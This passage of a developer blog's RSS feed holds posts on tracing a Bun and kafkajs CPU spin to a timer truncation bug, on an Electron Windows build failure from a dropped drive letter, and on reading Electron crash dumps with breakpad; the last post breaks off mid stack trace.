</content:encoded><category>javascript</category><category>bun</category><category>cloudflare workers</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Troubleshooting Periodic 100% CPU on a Bun Service</title><link>https://bugs.cc/posts/troubleshooting-bun-kafkajs-cpu-spin/</link><guid isPermaLink="true">https://bugs.cc/posts/troubleshooting-bun-kafkajs-cpu-spin/</guid><description>A few days ago we hit a fairly interesting production issue. A Bun service was periodically pegging one CPU core across three pods, for exactly 10 minutes…</description><pubDate>Tue, 25 Aug 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A few days ago we hit a fairly interesting production issue. A Bun service was periodically pegging one CPU core across three pods, for exactly 10 minutes each time, then dropping back on its own. The service itself was fine: requests worked, health checks never failed. The CPU graph just looked awful.&lt;/p&gt;
&lt;p&gt;It turned out to be two problems that are each pretty mild on their own, stacked on a specific kernel version and a specific Bun patch release. Writing it down.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bun 1.3.14 (pinned in the Dockerfile)&lt;/li&gt;
&lt;li&gt;kafkajs 2.2.4&lt;/li&gt;
&lt;li&gt;Kubernetes node kernel 5.10.134&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Repro: &lt;a href=&quot;https://github.com/BlackHole1/bun-epoll-timer-spin-repro&quot;&gt;bun-epoll-timer-spin-repro&lt;/a&gt;. I’ll come back to this later.&lt;/p&gt;
&lt;h2&gt;The symptom&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-bun-kafkajs-cpu-spin/cpu-day.png&quot; alt=&quot;Minute-level CPU of three pods on one day&quot;&gt;&lt;/p&gt;
&lt;p&gt;Minute-level CPU for the three pods on one day. The vertical lines at the bottom are Kafka produces; more on that later. A few things stand out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The plateau sits at 0.99 cores and never goes above 1.0. Only one thread is busy.&lt;/li&gt;
&lt;li&gt;Every stretch is a multiple of 600 seconds. It jumps up and down within a single scrape interval, not a gradual climb.&lt;/li&gt;
&lt;li&gt;All three pods often start the stretch together.&lt;/li&gt;
&lt;li&gt;Almost nothing overnight. It tracks traffic.&lt;/li&gt;
&lt;li&gt;During a spike, user is about 2/3 and sys about 1/3. Network, fd count, and memory look the same as a quiet period.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last point already rules a lot out. We weren’t chewing through large payloads, and it wasn’t pure JS compute (sys wouldn’t be that high). It looked like a busy loop that still makes syscalls.&lt;/p&gt;
&lt;p&gt;I first wondered if a worker was stuck in a tight loop on some job. But over 24 hours, every log related to job timeouts, retries, and heartbeats was zero. Busy periods and idle periods produced almost the same amount of logs. It also wasn’t introduced by a deploy: every one of the 16 days we have metrics for looks the same.&lt;/p&gt;
&lt;h2&gt;Reading /proc in the pod&lt;/h2&gt;
&lt;p&gt;Can’t poke production casually, and there’s no perf in the container, so I &lt;code&gt;kubectl exec&lt;/code&gt;’d and read &lt;code&gt;/proc&lt;/code&gt;. That’s fully read-only.&lt;/p&gt;
&lt;p&gt;Diff utime/stime of every thread in &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task/*/stat&lt;/code&gt; over 3 seconds and find the hot one. During a spike (100 ticks = one core):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tid   comm        d_utime  d_stime
8     bun         197      100
95    HTTP        0        0
9     bun         0        0
16    Bun         0        0
15    Bun         0        0
14    Bun         0        0
13    Bun         0        0
12    HeapHelper  0        0
11    HeapHelper  0        0
10    HeapHelper  0        0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hot thread is the main thread (the one where tid equals pid). Then I sampled &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task/&amp;lt;tid&amp;gt;/syscall&lt;/code&gt; as fast as I could. The first column is the syscall number the thread is currently in&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/troubleshooting-bun-kafkajs-cpu-spin/#user-content-fn-syscall-numbers&quot; id=&quot;user-content-fnref-syscall-numbers&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, followed by six arguments. When the thread is in userspace, the file says &lt;code&gt;running&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;i=0
while [ $i -lt 3000 ]; do
  cat /proc/8/task/8/syscall &amp;gt;&amp;gt; /tmp/sc.txt
  i=$((i+1))
done
# which syscall it is blocked on
awk &apos;{print $1}&apos; /tmp/sc.txt | sort | uniq -c | sort -rn
# epoll_pwait timeout (4th argument, i.e. column 5)
awk &apos;$1 == 281 {print $5}&apos; /tmp/sc.txt | sort | uniq -c | sort -rn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Idle:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;   2969 281
     29 running
      2 202

   1850 0x63
    325 0x53
    201 0x56
    192 0x57
     90 0x5d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2969 of 3000 samples were sitting in syscall 281, &lt;code&gt;epoll_pwait&lt;/code&gt;, with a timeout of tens to hundreds of milliseconds. Normal. One detail: 441 (&lt;code&gt;epoll_pwait2&lt;/code&gt;) never showed up at all. That matters later.&lt;/p&gt;
&lt;p&gt;During a spike:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;   2979 running
     21 281

     21 0x1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Almost entirely in userspace. The rare times it was in &lt;code&gt;epoll_pwait&lt;/code&gt;, the timeout was 1ms.&lt;/p&gt;
&lt;p&gt;Then &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/net/tcp&lt;/code&gt;: 4 connections when idle (Redis, Postgres). During a spike, two extra connections to port 9095, the Kafka broker.&lt;/p&gt;
&lt;h2&gt;Every spike was a Kafka send&lt;/h2&gt;
&lt;p&gt;The service publishes metering events with kafkajs. I pulled 48 hours of logs that trigger a Kafka produce and lined them up against 115 CPU stretches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every stretch starts within -13s to +1s of the nearest produce (within scrape jitter)&lt;/li&gt;
&lt;li&gt;Every stretch ends 600s to 611s after the last produce in that stretch&lt;/li&gt;
&lt;li&gt;The other way around: all 373 produces fall inside some stretch. None missed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;600s is the default &lt;code&gt;connections.max.idle.ms&lt;/code&gt; on a Kafka broker: the broker closes a connection after 10 minutes idle. So the length of a CPU stretch is the lifetime of one Kafka connection. The three pods spiked together because one user’s batch of jobs landed on three machines, each of which sent a message within a few seconds.&lt;/p&gt;
&lt;h2&gt;The 1ms setTimeout in kafkajs&lt;/h2&gt;
&lt;p&gt;kafkajs 2.2.4, &lt;code&gt;src/network/requestQueue/index.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;checkPendingRequests() {
  while (this.pending.length &amp;gt; 0 &amp;amp;&amp;amp; this.canSendSocketRequestImmediately()) {
    // ...
  }
  this.scheduleCheckPendingRequests() // [!code highlight]
}

scheduleCheckPendingRequests() {
  let scheduleAt = this.throttledUntil - Date.now() // [!code highlight]
  if (!this.throttleCheckTimeoutId) {
    if (this.pending.length &amp;gt; 0) {
      scheduleAt = scheduleAt &amp;gt; 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
    }
    this.throttleCheckTimeoutId = setTimeout(() =&amp;gt; { // [!code highlight:4]
      this.throttleCheckTimeoutId = null
      this.checkPendingRequests()
    }, scheduleAt)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;checkPendingRequests&lt;/code&gt; always calls &lt;code&gt;scheduleCheckPendingRequests&lt;/code&gt;. When pending is empty and there’s no throttle, that still arms a &lt;code&gt;setTimeout&lt;/code&gt;, whose callback calls &lt;code&gt;checkPendingRequests&lt;/code&gt; again. &lt;code&gt;throttledUntil&lt;/code&gt; starts at -1, so &lt;code&gt;scheduleAt&lt;/code&gt; is a huge negative number. Both Node and Bun treat a negative delay as 1ms.&lt;/p&gt;
&lt;p&gt;So from the first response on a broker connection, that connection runs a 1ms &lt;code&gt;setTimeout&lt;/code&gt; loop until &lt;code&gt;destroy()&lt;/code&gt; is called. And &lt;code&gt;destroy()&lt;/code&gt; only runs when the connection drops.&lt;/p&gt;
&lt;p&gt;This has been reported upstream (&lt;a href=&quot;https://github.com/tulios/kafkajs/issues/1556&quot;&gt;kafkajs#1556&lt;/a&gt;, &lt;a href=&quot;https://github.com/tulios/kafkajs/issues/1704&quot;&gt;kafkajs#1704&lt;/a&gt;). A fix PR has been sitting around for a long time (&lt;a href=&quot;https://github.com/tulios/kafkajs/pull/1572&quot;&gt;kafkajs#1572&lt;/a&gt;) and never landed. We had already patched it in our repo, but the patch only clamped the negative value with &lt;code&gt;Math.max(1, scheduleAt || 1)&lt;/code&gt;, which keeps the 1ms loop around instead of killing it.&lt;/p&gt;
&lt;p&gt;Still: a 1ms &lt;code&gt;setTimeout&lt;/code&gt; loop is maybe 2% CPU on Node. Why does it peg a whole core?&lt;/p&gt;
&lt;h2&gt;Why Bun pegs a whole core&lt;/h2&gt;
&lt;p&gt;The event loop. Bun 1.3.14, &lt;code&gt;packages/bun-usockets/src/eventing/epoll_kqueue.c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// [!code word:tv_nsec / 1000000]
static int bun_epoll_pwait2(int epfd, struct epoll_event *events, int maxevents, const struct timespec *timeout) {
    if (has_epoll_pwait2 != 0) {
        // ... sys_epoll_pwait2(...)
    }

    int timeoutMs = -1;
    if (timeout) {
        timeoutMs = timeout-&amp;gt;tv_sec * 1000 + timeout-&amp;gt;tv_nsec / 1000000;
    }

    do {
        ret = epoll_pwait(epfd, events, maxevents, timeoutMs, &amp;amp;mask);
    } while (IS_EINTR(ret));

    return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bun prefers &lt;code&gt;epoll_pwait2&lt;/code&gt;, which takes a nanosecond &lt;code&gt;timespec&lt;/code&gt;. &lt;code&gt;epoll_pwait2&lt;/code&gt; only exists since Linux 5.11; Bun checks the kernel version and falls back to &lt;code&gt;epoll_pwait&lt;/code&gt; with a millisecond timeout below that. The bug is &lt;code&gt;tv_nsec / 1000000&lt;/code&gt;: it truncates toward zero.&lt;/p&gt;
&lt;p&gt;A 1ms timer re-arms itself in its own callback. The event loop computes how long to wait next: 0.9x ms left, truncated to 0, &lt;code&gt;epoll_pwait(…, 0)&lt;/code&gt; returns immediately, compute again, still 0, spin until the timer fires. Then the callback arms a new 1ms timer, and around we go.&lt;/p&gt;
&lt;p&gt;That matches &lt;code&gt;/proc&lt;/code&gt;: the main thread never called &lt;code&gt;epoll_pwait2&lt;/code&gt;, because our nodes are 5.10.134. The &lt;code&gt;0x1&lt;/code&gt; samples during a spike are the one call per round that actually sleeps. The timeout-0 calls return immediately, so you almost never catch them.&lt;/p&gt;
&lt;p&gt;The truncation has been there since 1.3.11. Only 1.3.14 blows up. The difference is &lt;a href=&quot;https://github.com/oven-sh/bun/pull/29806&quot;&gt;bun#29806&lt;/a&gt; in 1.3.14: &lt;code&gt;timespec.now()&lt;/code&gt; switched from &lt;code&gt;CLOCK_MONOTONIC_COARSE&lt;/code&gt; on Linux to a nanosecond &lt;code&gt;hw_timer&lt;/code&gt; (rdtsc). The old clock is jiffy-granularity, milliseconds. Remaining time on a 1ms timer is either a full 1ms or already due. You never see 0.9ms, so truncation never produces 0. After the nanosecond clock, that old truncation finally got hit.&lt;/p&gt;
&lt;p&gt;Upstream fixed it in &lt;a href=&quot;https://github.com/oven-sh/bun/pull/34780&quot;&gt;bun#34780&lt;/a&gt; (round up instead). That only shipped in 1.4.0; there were no more 1.3.x releases after 1.3.14. So the only affected version is 1.3.14, and only on kernels without &lt;code&gt;epoll_pwait2&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Reproducing it locally&lt;/h2&gt;
&lt;p&gt;You don’t need a 5.10 machine. Docker seccomp can make a syscall return ENOSYS. When Bun sees &lt;code&gt;epoll_pwait2&lt;/code&gt; return ENOSYS, it takes the same fallback path:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;defaultAction&quot;: &quot;SCMP_ACT_ALLOW&quot;,
  &quot;syscalls&quot;: [
    { &quot;names&quot;: [&quot;epoll_pwait2&quot;], &quot;action&quot;: &quot;SCMP_ACT_ERRNO&quot;, &quot;errnoRet&quot;: 38 }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The full repro is in &lt;a href=&quot;https://github.com/BlackHole1/bun-epoll-timer-spin-repro&quot;&gt;bun-epoll-timer-spin-repro&lt;/a&gt;, Docker only:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;git clone https://github.com/BlackHole1/bun-epoll-timer-spin-repro.git
cd bun-epoll-timer-spin-repro
./run.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It runs Bun 1.3.13 / 1.3.14 / 1.4.0, with and without &lt;code&gt;epoll_pwait2&lt;/code&gt;, on three timer setups: a plain &lt;code&gt;setTimeout(fn, 1)&lt;/code&gt;, a plain &lt;code&gt;setTimeout(fn, 10)&lt;/code&gt;, and constructing kafkajs’s &lt;code&gt;RequestQueue&lt;/code&gt; then calling &lt;code&gt;checkPendingRequests()&lt;/code&gt; once (no real Kafka). Each case runs 5 seconds and reports timer fire rate plus CPU:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;bun       epoll_pwait2   mode        iter/s   user%    sys%
1.3.13    available      timer1         330     1.2     1.4
1.3.13    available      timer10         84     1.4     0.8
1.3.13    available      kafkajs        327     2.2     0.9
1.3.13    blocked        timer1         327     1.7     1.1
1.3.13    blocked        timer10         84     1.5     1.2
1.3.13    blocked        kafkajs        321     2.3     1.5
1.3.14    available      timer1         336     1.2     0.7
1.3.14    available      timer10         85       1     0.2
1.3.14    available      kafkajs        335     2.3     0.7
1.3.14    blocked        timer1         996      56    43.5
1.3.14    blocked        timer10         92       2     0.7
1.3.14    blocked        kafkajs        993    62.9    36.6
1.4.0     available      timer1         334     1.3     1.6
1.4.0     available      timer10         86     0.8     0.4
1.4.0     available      kafkajs        337       2     1.3
1.4.0     blocked        timer1         338       1     1.1
1.4.0     blocked        timer10         85     0.7     0.5
1.4.0     blocked        kafkajs        334     1.3     1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only 1.3.14 with the syscall blocked pegs a core. So this isn’t really about kafkajs. Any 1ms &lt;code&gt;setTimeout&lt;/code&gt; loop does the same thing on that combination.&lt;/p&gt;
&lt;p&gt;strace over 2 seconds: 148k times &lt;code&gt;epoll_pwait(4, [], 1024, 0, [], 8) = 0 &amp;lt;0.000001&amp;gt;&lt;/code&gt;, 6 to 7 µs apart. That’s the 2/3 user + 1/3 sys.&lt;/p&gt;
&lt;h2&gt;The fix&lt;/h2&gt;
&lt;p&gt;Patch kafkajs: if pending is empty and there’s no throttle, don’t schedule a timer. Everything else stays.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-diff&quot;&gt;       if (this.pending.length &amp;gt; 0) {
         scheduleAt = scheduleAt &amp;gt; 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
       }
-      // Prevent negative or invalid delays
-      scheduleAt = Math.max(1, scheduleAt || 1)
+      if (scheduleAt &amp;lt;= 0) {
+        return
+      }
       this.throttleCheckTimeoutId = setTimeout(() =&amp;gt; {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the repro, CPU went from 99% to 0.2%.&lt;/p&gt;
&lt;p&gt;Two extra things while I was there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pinned kafkajs from &lt;code&gt;^2.2.4&lt;/code&gt; to exact &lt;code&gt;2.2.4&lt;/code&gt;. Bun’s &lt;code&gt;patchedDependencies&lt;/code&gt; matches on the key &lt;code&gt;kafkajs@2.2.4&lt;/code&gt;. If the lockfile resolves a different version, Bun silently skips the patch, &lt;code&gt;bun install&lt;/code&gt; exits 0, and it doesn’t say a word.&lt;/li&gt;
&lt;li&gt;Added a test that imports &lt;code&gt;kafkajs/src/network/requestQueue/index.js&lt;/code&gt; directly and asserts that an empty pending queue does not arm a timer. If the patch ever disappears, the test fails first.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The patch is already in production. The periodic one-core spikes are gone. Once we move to Bun 1.4.0, this combination won’t come back even if the patch gets dropped.&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-syscall-numbers&quot;&gt;
&lt;p&gt;Syscall numbers depend on the architecture. On x86_64 the table is &lt;a href=&quot;https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl&quot;&gt;syscall_64.tbl&lt;/a&gt; in the kernel tree; if the box has auditd, &lt;code&gt;ausyscall x86_64 281&lt;/code&gt; works too. These are the ones that show up later:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;202  futex
281  epoll_pwait
441  epoll_pwait2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On arm64, &lt;code&gt;epoll_pwait&lt;/code&gt; is 22. &lt;code&gt;epoll_pwait2&lt;/code&gt; is one of the newer syscalls that got a single number across architectures: 441 everywhere. &lt;a href=&quot;https://bugs.cc/posts/troubleshooting-bun-kafkajs-cpu-spin/#user-content-fnref-syscall-numbers&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>bun</category><category>kafka</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Troubleshooting Electron 39.6.0 Tag Build Failure on Windows</title><link>https://bugs.cc/posts/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/</link><guid isPermaLink="true">https://bugs.cc/posts/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/</guid><description>It&apos;s been quite a while since I last built Electron on Windows. Yesterday afternoon, I tried building the electron@39.6.0 tag, but it failed repeatedly.…</description><pubDate>Tue, 10 Mar 2026 08:07:00 GMT</pubDate><content:encoded>&lt;p&gt;It’s been quite a while since I last built Electron on Windows. Yesterday afternoon, I tried building the &lt;a href=&quot;https://github.com/electron/electron/tree/v39.6.0&quot;&gt;electron@39.6.0&lt;/a&gt; tag, but it failed repeatedly. Strangely, the latest commit built without any issues. I ended up debugging it late into the night.&lt;/p&gt;
&lt;p&gt;I tried both PowerShell and Command Prompt, rebuilt the entire source tree from scratch, and even restarted my machine — to no avail.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reproduction Environment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Electron 39.6.0 (tag)&lt;/li&gt;
&lt;li&gt;Windows 10/11&lt;/li&gt;
&lt;li&gt;Tested in both PowerShell and Cmd&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My first suspicion was a depot_tools version issue, but &lt;a href=&quot;https://github.com/electron/build-tools&quot;&gt;@electron/build-tools&lt;/a&gt; updates depot_tools automatically before starting the build, so that wasn’t the culprit.&lt;/p&gt;
&lt;p&gt;Switching to the latest commit worked fine, confirming the problem wasn’t system-wide.&lt;/p&gt;
&lt;p&gt;The error suggested running &lt;code&gt;.\siso_failed_commands.bat&lt;/code&gt; to replay the failed commands. When I executed it manually, the build succeeded without errors.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/failed-log.jpg&quot; alt=&quot;Build Failure Log&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/siso-exec.png&quot; alt=&quot;Executing siso_failed_commands.bat&quot;&gt;&lt;/p&gt;
&lt;p&gt;Manually running the batch file worked perfectly.&lt;/p&gt;
&lt;p&gt;Taking a closer look at the error log, I spotted this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;err: fork/exec /Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe: The system cannot find the path specified.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;C:&lt;/code&gt; drive letter had been dropped. However, the path in &lt;code&gt;siso_failed_commands.bat&lt;/code&gt; still included it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/troubleshooting-electron-39.6.0-tag-build-failure-on-windows/siso-bat-content.png&quot; alt=&quot;siso_failed_commands.bat Content&quot;&gt;&lt;/p&gt;
&lt;p&gt;This indicated that siso (the build executor) was stripping the drive letter prefix when spawning processes (&lt;code&gt;C:\foo&lt;/code&gt; → &lt;code&gt;\foo&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;If the source code had been on the C: drive, the issue wouldn’t have occurred. On Windows, paths starting with &lt;code&gt;/&lt;/code&gt; are resolved relative to the root of the current drive of the process.&lt;/p&gt;
&lt;p&gt;By default, &lt;a href=&quot;https://github.com/electron/build-tools&quot;&gt;@electron/build-tools&lt;/a&gt; installs depot_tools to &lt;code&gt;%USERPROFILE%\.electron_build_tools\third_party&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The siso process was running with its working directory set to the build output folder: &lt;code&gt;D:\electron\release-39.6.0\src\out\Release&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Since my Electron source was on the D: drive, stripping the drive letter turned the Python path into:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;D:/Users/live/.electron_build_tools/third_party/depot_tools/bootstrap-2@3_11_8_chromium_35_bin/python3/bin/python3.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Which obviously didn’t exist — hence “The system cannot find the path specified.” 🤷‍♂️&lt;/p&gt;
&lt;p&gt;In short: the build only fails if depot_tools and the Electron/Chromium source tree are on &lt;strong&gt;different drives&lt;/strong&gt;. This also explains why Electron’s CI always succeeds.&lt;/p&gt;
&lt;p&gt;I eventually tracked the issue down to this Chromium change: &lt;a href=&quot;https://chromium-review.googlesource.com/c/build/+/7134259&quot;&gt;https://chromium-review.googlesource.com/c/build/+/7134259&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; In Go, slices are reference types. Modifying a slice in place affects all references sharing the same backing array, causing the modification to be incorrectly propagated to later uses.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Use &lt;code&gt;slices.Clone()&lt;/code&gt; to create an independent copy.&lt;/p&gt;
&lt;p&gt;For now, my workaround is to keep the Electron source tree on the C: drive.&lt;/p&gt;
</content:encoded><category>electron</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>View and analyze Electron crashes on macOS</title><link>https://bugs.cc/posts/view-and-analyze-electron-crashes-on-macos/</link><guid isPermaLink="true">https://bugs.cc/posts/view-and-analyze-electron-crashes-on-macos/</guid><description>When developing an Electron application, you might encounter crashes. However, for various reasons, the application may not have integrated Sentry or other…</description><pubDate>Tue, 15 Oct 2024 12:56:19 GMT</pubDate><content:encoded>&lt;p&gt;When developing an Electron application, you might encounter crashes. However, for various reasons, the application may not have integrated Sentry or other crash analysis platforms. In such cases, you need to manually check the crash logs to identify the issue.&lt;/p&gt;
&lt;h2&gt;Locating Local Crash Logs&lt;/h2&gt;
&lt;p&gt;Since Electron is based on Chromium, the crash-related operations are largely consistent with Chromium.&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;https://www.chromium.org/developers/crash-reports/#on-mac&quot;&gt;Chromium crash-reports&lt;/a&gt;, we can see that crash files are stored in the &lt;code&gt;~/Library/Application\ Support/Chromium/Crashpad/completed&lt;/code&gt; directory. However, since we are using an Electron application and there is no “submission” process, the crash files are kept in the &lt;code&gt;~/Library/Application\ Support/Chromium/Crashpad/pending&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;Before searching, remember to replace &lt;code&gt;Chromium&lt;/code&gt; in the above directories with your application name, such as &lt;code&gt;OOMOL Studio&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you have encountered many crashes, you’ll find numerous *.dmp files in this directory. Generally, we only need to analyze the most recent crash, so the latest file is the one we require.&lt;/p&gt;
&lt;h2&gt;Analyzing Crash Files&lt;/h2&gt;
&lt;h3&gt;Using &lt;code&gt;breakpad&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;breakpad is an open-source crash analysis tool developed by Google, specifically for Chromium. We can use this tool to analyze our &lt;em&gt;dmp&lt;/em&gt; files.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;git clone https://chromium.googlesource.com/breakpad/breakpad
cd breakpad
./configure
make
# Optional
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After executing the above command, you can parse the dmp using &lt;code&gt;./src/processor/minidump_stackwalk&lt;/code&gt;, or you can directly use &lt;code&gt;minidump_stackwalk&lt;/code&gt; (if you executed &lt;code&gt;make install&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The basic usage method is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;minidump_stackwalk /path/to/your.dmp [/path/to/symbols]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you use &lt;code&gt;minidump_stackwalk /path/to/your.dmp&lt;/code&gt;, the output you get will only be addresses, and you won’t be able to see the function names. Therefore, we need to provide a symbol file in order to see the function names.&lt;/p&gt;
&lt;p&gt;You can download the symbol file by running: &lt;code&gt;wget https://github.com/electron/electron/releases/download/&amp;lt;ELECTEON_VERSION&amp;gt;/electron-&amp;lt;ELECTEON_VERSION&amp;gt;-darwin-arm64-symbols.zip&lt;/code&gt;. For my own case, I downloaded:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-symbols.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This file is specifically prepared for &lt;code&gt;breakpad&lt;/code&gt;, so we can directly unzip it to a certain directory and then use that directory as a parameter to pass to &lt;code&gt;minidump_stackwalk&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;minidump_stackwalk ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp ./electron-v30.5.1-darwin-arm64-symbols/breakpad_symbols
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, you will be able to see the detailed crash information. In my case, the result I got is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Operating system: Mac OS X
                  14.6.1 23G93
CPU: arm64
     12 CPUs

GPU: UNKNOWN

Crash reason:  EXC_BREAKPOINT / 0x00000001
Crash address: 0x1129666c8
Process uptime: 0 seconds

Thread 0 (crashed)
 0  Electron Framework!v8::base::OS::Abort() [platform-posix.cc : 699 + 0x0]
     x0 = 0x0000000000000000    x1 = 0x0000000000000000
     x2 = 0x00000000000120a8    x3 = 0x00000001117656e0
     x4 = 0x00000001804b5a5f    x5 = 0x000000016b046af0
     x6 = 0x000000000000000a    x7 = 0x0000000000000000
     x8 = 0x0000000000000001    x9 = 0x00000001e83ff610
    x10 = 0x0000000000000002   x11 = 0x00000000fffffffd
    x12 = 0x0000010000000000   x13 = 0x0000000000000000
    x14 = 0x0000000000000000   x15 = 0x0000000000000000
    x16 = 0x00000001805657d4   x17 = 0x00000001f2af63e0
    x18 = 0x0000000000000000   x19 = 0x0000013c002cf000
    x20 = 0x0000000115675980   x21 = 0x0000013c002c0000
    x22 = 0x000000016b04fc28   x23 = 0x000000000000ded0
    x24 = 0x000000016b04fd0e   x25 = 0x000000016b047448
    x26 = 0x0000000000010820   x27 = 0x000000000000e838
    x28 = 0x0000013c002d0540    fp = 0x000000016b0473e0
     lr = 0x000000011295e6ec    sp = 0x000000016b0473e0
     pc = 0x00000001129666c8
    Found by: given as instruction pointer in context
 1  Electron Framework!v8::base::FatalOOM(v8::base::OOMType, char const*) [logging.cc : 94 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047400    sp = 0x000000016b0473f0
     pc = 0x000000011295e6ec
    Found by: call frame info
 2  Electron Framework!v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&amp;amp;) [api.cc : 341 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047420    sp = 0x000000016b047410
     pc = 0x000000010f5c66f4
